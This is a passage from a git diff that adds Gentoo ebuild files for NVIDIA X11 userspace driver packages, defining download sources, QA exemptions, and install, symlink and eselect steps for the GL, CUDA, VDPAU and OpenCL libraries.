+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# CUDA headers (driver to come)
+	if use kernel_linux && [[ -d ${S}/usr/include/cuda ]]; then
+		dodir /usr/include/cuda
+		insinto /usr/include/cuda
+		doins usr/include/cuda/*.h || die "failed to install cuda headers"
+	fi
+
+	# OpenCL headers (driver to come)
+	if [[ -d ${S}/usr/include/CL ]]; then
+		dodir /usr/include/CL
+		insinto /usr/include/CL
+		doins usr/include/CL/*.h || die "failed to install OpenCL headers"
+	fi
+
+	# Documentation
+	dodoc ${NV_DOC}/XF86Config.sample
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+#		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=usr/lib32
+		else
+			libdir=usr/lib
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia ${NV_ROOT}/lib ${libdir}/libGLcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	#cuda
+	if [[ -f ${libdir}/libcuda.so.${sover} ]]; then
+		dolib.so ${libdir}/libcuda.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libcuda.so.${sover} /usr/${inslibdir}/libcuda.so.1
+		dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+	fi
+
+	#vdpau
+	if [[ -f ${libdir}/libvdpau_nvidia.so.${sover} ]]; then
+		dolib.so ${libdir}/libvdpau_nvidia.so.${sover}
+		dosym libvdpau_nvidia.so.${sover} /usr/${inslibdir}/libvdpau_nvidia.so
+	fi
+
+	# OpenCL
+	# NOTE: This isn't currently available in the publicly released drivers.
+	if [[ -f ${libdir}/libOpenCL.so.1.0.0 ]]; then
+
+		dolib.so ${libdir}/libnvcompiler.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libnvcompiler.so.${sover} /usr/${inslibdir}/libnvcompiler.so.1
+		dosym libnvcompiler.so.1 /usr/${inslibdir}/libnvcompiler.so
+
+		dolib.so ${libdir}/libOpenCL.so.1.0.0
+		dosym libOpenCL.so.1.0.0 /usr/${inslibdir}/libOpenCL.so.1
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.35.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.35.ebuild
new file mode 100644
index 00000000..dc517c8c
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-173.14.35.ebuild
@@ -0,0 +1,395 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="x11-base/xorg-server
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	>=app-admin/eselect-opengl-1.0.9"
+DEPEND="${COMMON}
+	kernel_linux? ( virtual/linux-sources )"
+RDEPEND="${COMMON}
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=""
+
+QA_TEXTRELS_x86="usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libXvMCNVIDIA.so.${PV}"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/opengl/nvidia/lib/libGLcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o"
+
+QA_EXECSTACK_amd64="usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvcompiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_WX_LOAD_x86="usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvcompiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}/usr/share/doc"
+		NV_EXEC="${S}/usr/bin"
+		NV_LIB="${S}/usr/lib"
+		NV_SRC="${S}/usr/src/nv"
+		NV_MAN="${S}/usr/share/man/man1"
+		NV_X11="${S}/usr/X11R6/lib"
+		NV_X11_DRV="${NV_X11}/modules/drivers"
+		NV_X11_EXT="${NV_X11}/modules/extensions"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	# Use the correct defines to make gtkglext build work
+	epatch "${FILESDIR}"/NVIDIA_glx-defines.patch
+	# Use some more sensible gl headers and make way for new glext.h
+	epatch "${FILESDIR}"/NVIDIA_glx-glheader.patch
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# CUDA headers (driver to come)
+	if use kernel_linux && [[ -d ${S}/usr/include/cuda ]]; then
+		dodir /usr/include/cuda
+		insinto /usr/include/cuda
+		doins usr/include/cuda/*.h || die "failed to install cuda headers"
+	fi
+
+	# OpenCL headers (driver to come)
+	if [[ -d ${S}/usr/include/CL ]]; then
+		dodir /usr/include/CL
+		insinto /usr/include/CL
+		doins usr/include/CL/*.h || die "failed to install OpenCL headers"
+	fi
+
+	# Documentation
+	dodoc ${NV_DOC}/XF86Config.sample
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+#		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		dobin ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=usr/lib32
+		else
+			libdir=usr/lib
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia ${NV_ROOT}/lib ${libdir}/libGLcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	#cuda
+	if [[ -f ${libdir}/libcuda.so.${sover} ]]; then
+		dolib.so ${libdir}/libcuda.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libcuda.so.${sover} /usr/${inslibdir}/libcuda.so.1
+		dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+	fi
+
+	#vdpau
+	if [[ -f ${libdir}/libvdpau_nvidia.so.${sover} ]]; then
+		dolib.so ${libdir}/libvdpau_nvidia.so.${sover}
+		dosym libvdpau_nvidia.so.${sover} /usr/${inslibdir}/libvdpau_nvidia.so
+	fi
+
+	# OpenCL
+	# NOTE: This isn't currently available in the publicly released drivers.
+	if [[ -f ${libdir}/libOpenCL.so.1.0.0 ]]; then
+
+		dolib.so ${libdir}/libnvcompiler.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libnvcompiler.so.${sover} /usr/${inslibdir}/libnvcompiler.so.1
+		dosym libnvcompiler.so.1 /usr/${inslibdir}/libnvcompiler.so
+
+		dolib.so ${libdir}/libOpenCL.so.1.0.0
+		dosym libOpenCL.so.1.0.0 /usr/${inslibdir}/libOpenCL.so.1
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-275.09.07.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-275.09.07.ebuild
new file mode 100644
index 00000000..6e988b89
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-275.09.07.ebuild
@@ -0,0 +1,414 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.10.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libOpenCL.so.1.0.0
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig
+	usr/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	usr/bin/nvidia-smi
